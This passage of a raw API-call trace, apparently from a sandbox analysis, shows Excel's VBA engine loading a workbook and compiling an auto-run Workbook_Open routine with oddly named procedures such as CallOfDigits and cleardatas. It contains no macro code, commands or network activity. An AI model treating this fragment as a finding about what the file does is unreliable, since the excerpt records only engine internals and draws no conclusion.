(This=0x7feffc15380, pv=0xbc9bd60) [0094.469] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbc9bd60 [0094.469] IMalloc:Free (This=0x7feffc15380, pv=0xbc9bd60) [0094.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x23e6c0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0094.470] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0094.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e2e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0094.470] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0095.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x23e2e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0095.022] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0095.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b16, cbMultiByte=13, lpWideCharStr=0x23e660, cchWideChar=26 | out: lpWideCharStr="CallOfDigits") returned 13 [0095.023] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xd, _Src=0x6ca2b16 | out: _Dst=0x23e6a0) returned 0x0 [0095.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2be6, cbMultiByte=14, lpWideCharStr=0x23e660, cchWideChar=28 | out: lpWideCharStr="Workbook_Open") returned 14 [0095.023] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xe, _Src=0x6ca2be6 | out: _Dst=0x23e6a0) returned 0x0 [0095.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0095.023] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xe, _Src=0x23e6a9 | out: _Dst=0x23e6a0) returned 0x0 [0095.023] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0095.023] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0xb7165c0 [0095.023] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xbbbb820 [0095.023] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0xbc57bd0 [0095.024] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb3d9430 [0095.024] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb6bd450 [0095.024] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x7226510 [0095.024] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb5ea130 [0095.024] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb5ea060 [0095.025] IUnknown:AddRef (This=0xb825960) returned 0x3 [0095.025] IUnknown:QueryInterface (in: This=0xb825960, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23e520 | out: ppvObject=0x23e520*=0x0) returned 0x80004002 [0095.025] ITypeLib:GetTypeComp (in: This=0xb825960, ppTComp=0x23e518 | out: ppTComp=0x23e518*=0xb825970) returned 0x0 [0095.025] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4c1e10 [0095.025] IUnknown:AddRef (This=0xb825970) returned 0x5 [0095.025] IUnknown:Release (This=0xb825970) returned 0x4 [0095.025] IUnknown:Release (This=0xb825960) returned 0x3 [0095.025] IUnknown:AddRef (This=0xb824b50) returned 0xc [0095.025] IUnknown:QueryInterface (in: This=0xb824b50, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23e520 | out: ppvObject=0x23e520*=0x0) returned 0x80004002 [0095.025] ITypeLib:GetTypeComp (in: This=0xb824b50, ppTComp=0x23e518 | out: ppTComp=0x23e518*=0xb824b60) returned 0x0 [0095.025] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4c2590 [0095.025] IUnknown:AddRef (This=0xb824b60) returned 0xe [0095.025] IUnknown:Release (This=0xb824b60) returned 0xd [0095.025] IUnknown:Release (This=0xb824b50) returned 0xc [0095.025] IUnknown:AddRef (This=0xb825f00) returned 0x4 [0095.025] IUnknown:QueryInterface (in: This=0xb825f00, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23e520 | out: ppvObject=0x23e520*=0x0) returned 0x80004002 [0095.025] ITypeLib:GetTypeComp (in: This=0xb825f00, ppTComp=0x23e518 | out: ppTComp=0x23e518*=0xb825f10) returned 0x0 [0095.026] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4bb390 [0095.026] IUnknown:AddRef (This=0xb825f10) returned 0x6 [0095.026] IUnknown:Release (This=0xb825f10) returned 0x5 [0095.026] IUnknown:Release (This=0xb825f00) returned 0x4 [0095.026] IUnknown:AddRef (This=0xb8264a0) returned 0x2 [0095.026] IUnknown:QueryInterface (in: This=0xb8264a0, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23e520 | out: ppvObject=0x23e520*=0x0) returned 0x80004002 [0095.026] ITypeLib:GetTypeComp (in: This=0xb8264a0, ppTComp=0x23e518 | out: ppTComp=0x23e518*=0xb8264b0) returned 0x0 [0095.026] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4b8790 [0095.026] IUnknown:AddRef (This=0xb8264b0) returned 0x4 [0095.026] IUnknown:Release (This=0xb8264b0) returned 0x3 [0095.026] IUnknown:Release (This=0xb8264a0) returned 0x2 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4bf010 [0095.027] IMalloc:Realloc (This=0x7feffc15380, pv=0xb7165c0, cb=0x70) returned 0xbd2e480 [0095.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca1556, cbMultiByte=5, lpWideCharStr=0x23e3b0, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x6fa1ff0 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb3d5080 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbccba30 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbccba10 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb3d2530 [0095.027] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xbe2b650 [0095.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b96, cbMultiByte=7, lpWideCharStr=0x23e660, cchWideChar=14 | out: lpWideCharStr="Nepalo") returned 7 [0095.028] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x7, _Src=0x6ca2b96 | out: _Dst=0x23e6a0) returned 0x0 [0095.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c42, cbMultiByte=8, lpWideCharStr=0x23e660, cchWideChar=16 | out: lpWideCharStr="Fcharss") returned 8 [0095.028] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x8, _Src=0x6ca2c42 | out: _Dst=0x23e6a0) returned 0x0 [0095.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2cba, cbMultiByte=8, lpWideCharStr=0x23e660, cchWideChar=16 | out: lpWideCharStr="settler") returned 8 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x8, _Src=0x6ca2cba | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2ce2, cbMultiByte=12, lpWideCharStr=0x23e660, cchWideChar=24 | out: lpWideCharStr="doublecheck") returned 12 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xc, _Src=0x6ca2ce2 | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d0e, cbMultiByte=10, lpWideCharStr=0x23e660, cchWideChar=20 | out: lpWideCharStr="formsands") returned 10 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xa, _Src=0x6ca2d0e | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d3a, cbMultiByte=11, lpWideCharStr=0x23e660, cchWideChar=22 | out: lpWideCharStr="cleardatas") returned 11 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xb, _Src=0x6ca2d3a | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d66, cbMultiByte=7, lpWideCharStr=0x23e660, cchWideChar=14 | out: lpWideCharStr="commde") returned 7 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x7, _Src=0x6ca2d66 | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d8e, cbMultiByte=6, lpWideCharStr=0x23e660, cchWideChar=12 | out: lpWideCharStr="crsss") returned 6 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x6, _Src=0x6ca2d8e | out: _Dst=0x23e6a0) returned 0x0 [0095.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c16, cbMultiByte=12, lpWideCharStr=0x23e660, cchWideChar=24 | out: lpWideCharStr="SecondNulls") returned 12 [0095.029] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0xc, _Src=0x6ca2c16 | out: _Dst=0x23e6a0) returned 0x0 [0095.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2bbe, cbMultiByte=7, lpWideCharStr=0x23e660, cchWideChar=14 | out: lpWideCharStr="sdemom") returned 7 [0095.030] _mbscpy_s (in: _Dst=0x23e6a0, _DstSizeInBytes=0x7, _Src=0x6ca2bbe | out: _Dst=0x23e6a0) returned 0x0 [0095.030] CoCreateGuid (in: pguid=0x23e860 | out: pguid=0x23e860*(Data1=0x774d5142, Data2=0x413c, Data3=0x4e36, Data4=([0]=0xaa, [1]=0x5a, [2]=0xcf, [3]=0xf4, [4]=0xbc, [5]=0xcc, [6]=0x52, [7]=0x21))) returned 0x0 [0095.030] CoCreateGuid (in: pguid=0x23e860 | out: pguid=0x23e860*(Data1=0xab3d98a6, Data2=0x3dca, Data3=0x425a, Data4=([0]=0xa5, [1]=0x3e, [2]=0x79, [3]=0xe3, [4]=0xcd, [5]=0x72, [6]=0x1b, [7]=0x1d))) returned 0x0 [0095.030] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0xb6bfbd0 [0095.030] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe533d0 [0095.030] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0095.030] IUnknown:AddRef (This=0xb825960) returned 0x4 [0095.030] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23dec8, pDummy=0x0 | out: ppTLibAttr=0x23dec8, pDummy=0x0) returned 0x0 [0095.030] ITypeLib:RemoteGetDocumentation (in: This=0xb825960, index=-1, refPtrFlags=0x23dee0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x23df00 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x23df00*=0x0) returned 0x0 [0095.030] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeada70 [0095.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x23df50, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x82\x0b", lpUsedDefaultChar=0x0) returned 66 [0095.030] strcpy_s (in: _Dst=0xb51cfc0, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0095.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x23e060, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0095.030] strcpy_s (in: _Dst=0xb51d010, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0095.031] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeadec0 [0095.031] IUnknown:AddRef (This=0xb825960) returned 0x5 [0095.031] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0095.031] IUnknown:Release (This=0xb825960) returned 0x4 [0095.031] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 4 [0095.031] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0 [0095.031] IUnknown:AddRef (This=0xb824b50) returned 0xe [0095.031] ITypeLib:RemoteGetLibAttr (in: This=0xb824b50, ppTLibAttr=0x23dec8, pDummy=0x0 | out: ppTLibAttr=0x23dec8, pDummy=0x0) returned 0x0 [0095.031] ITypeLib:RemoteGetDocumentation (in: This=0xb824b50, index=-1, refPtrFlags=0x23dee0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x23df50, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 57 [0095.031] strcpy_s (in: _Dst=0xb51d080, _DstSize=0x3a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0095.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x23e060, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0095.031] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb6869f0 [0095.031] strcpy_s (in: _Dst=0xb686a18, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0095.031] IUnknown:AddRef (This=0xb824b50) returned 0xf [0095.031] ITypeLib:LocalReleaseTLibAttr (This=0xb824b50) returned 0x0 [0095.031] IUnknown:Release (This=0xb824b50) returned 0xe [0095.031] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0095.032] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0095.032] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0095.032] IUnknown:AddRef (This=0xb825f00) returned 0x5 [0095.032] ITypeLib:RemoteGetLibAttr (in: This=0xb825f00, ppTLibAttr=0x23dec8, pDummy=0x0 | out: ppTLibAttr=0x23dec8, pDummy=0x0) returned 0x0 [0095.032] ITypeLib:RemoteGetDocumentation (in: This=0xb825f00, index=-1, refPtrFlags=0x23dee0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x23df50, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 31 [0095.032] strcpy_s (in: _Dst=0xb686a88, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0095.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x23e060, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0095.032] strcpy_s (in: _Dst=0xb686ab0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0095.033] IUnknown:AddRef (This=0xb825f00) returned 0x6 [0095.033] ITypeLib:LocalReleaseTLibAttr (This=0xb825f00) returned 0x0 [0095.033] IUnknown:Release (This=0xb825f00) returned 0x5 [0095.033] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0095.033] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 2 [0095.034] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0095.034] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0095.034] IUnknown:AddRef (This=0xb8264a0) returned 0x3 [0095.034] ITypeLib:RemoteGetLibAttr (in: This=0xb8264a0, ppTLibAttr=0x23dec8, pDummy=0x0 | out: ppTLibAttr=0x23dec8, pDummy=0x0) returned 0x0 [0095.034] ITypeLib:RemoteGetDocumentation (in: This=0xb8264a0, index=-1, refPtrFlags=0x23dee0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x23df50, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0095.034] strcpy_s (in: _Dst=0xb686b20, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0095.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x23e060, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0095.035] strcpy_s (in: _Dst=0xb686b68, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0095.035] IUnknown:AddRef (This=0xb8264a0) returned 0x4 [0095.035] ITypeLib:LocalReleaseTLibAttr (This=0xb8264a0) returned 0x0 [0095.035] IUnknown:Release (This=0xb8264a0) returned 0x3 [0095.035] IMalloc:Free (This=0x7feffc15380, pv=0xbc783b0) [0095.035] IMalloc:Alloc (This=0x7feffc15380, cb=0x118) returned 0xb86c410 [0095.035] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb6870e0 [0095.035] IMalloc:Alloc (This=0x7feffc15380, cb=0x950) returned 0xbc9bd60 [0095.040] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbd2f580 [0095.040] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbd2f500 [0095.040] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbd2f700 [0095.040] IMalloc:Alloc (This=0x7feffc15380, cb=0x70) returned 0xbd2f600 [0095.040] strcpy_s (in: _Dst=0xb687138, _DstSize=0x9, _Src="Workbook" | out: _Dst="Workbook") returned 0x0 [0095.040] IMalloc:Alloc (This=0x7feffc15380, cb=0x218) returned 0x742d860 [0095.040] ITypeLib:RemoteGetLibAttr (in: This=0xb824b50, ppTLibAttr=0x23d038, pDummy=0x0 | out: ppTLibAttr=0x23d038, pDummy=0x0) returned 0x0 [0095.040] ITypeLib:RemoteGetDocumentation (in: This=0xb824b50, index=-1, refPtrFlags=0x23d050, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6d59a40 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6d59a40*="渰？߾") returned 0x0 [0095.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x23d0c0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 57 [0095.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x23d1d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0095.041] ITypeLib:LocalReleaseTLibAttr (This=0xb824b50) returned 0x0 [0095.041] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeae310 [0095.041] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb6885b0 [0095.041] IUnknown:Release (This=0xb824b50) returned 0xf [0095.041] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xd, _Src=0x6ca2b16 | out: _Dst=0x23cf70) returned 0x0 [0095.041] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0xbb2fdd0 [0095.041] strcpy_s (in: _Dst=0xb687150, _DstSize=0xd, _Src="CallOfDigits" | out: _Dst="CallOfDigits") returned 0x0 [0095.041] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.041] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.041] GetCurrentProcess () returned 0xffffffffffffffff [0095.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x45) returned 1 [0095.041] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.041] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xe, _Src=0x6ca2be6 | out: _Dst=0x23cf70) returned 0x0 [0095.041] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0095.041] _mbscpy_s (in: _Dst=0x23cf70, _DstSizeInBytes=0xe, _Src=0x23cf79 | out: _Dst=0x23cf70) returned 0x0 [0095.041] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0095.042] _mbscpy_s (in: _Dst=0x23cf30, _DstSizeInBytes=0xe, _Src=0x6ca2be6 | out: _Dst=0x23cf30) returned 0x0 [0095.042] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0095.042] _mbscpy_s (in: _Dst=0x23cf30, _DstSizeInBytes=0xe, _Src=0x23cf39 | out: _Dst=0x23cf30) returned 0x0 [0095.042] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0xbb35f00 [0095.042] strcpy_s (in: _Dst=0xb687168, _DstSize=0xe, _Src="Workbook_Open" | out: _Dst="Workbook_Open") returned 0x0 [0095.042] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb688800 [0095.042] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.042] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.042] GetCurrentProcess () returned 0xffffffffffffffff [0095.042] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x45) returned 1 [0095.042] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.042] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb4c8c90 [0095.042] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.042] 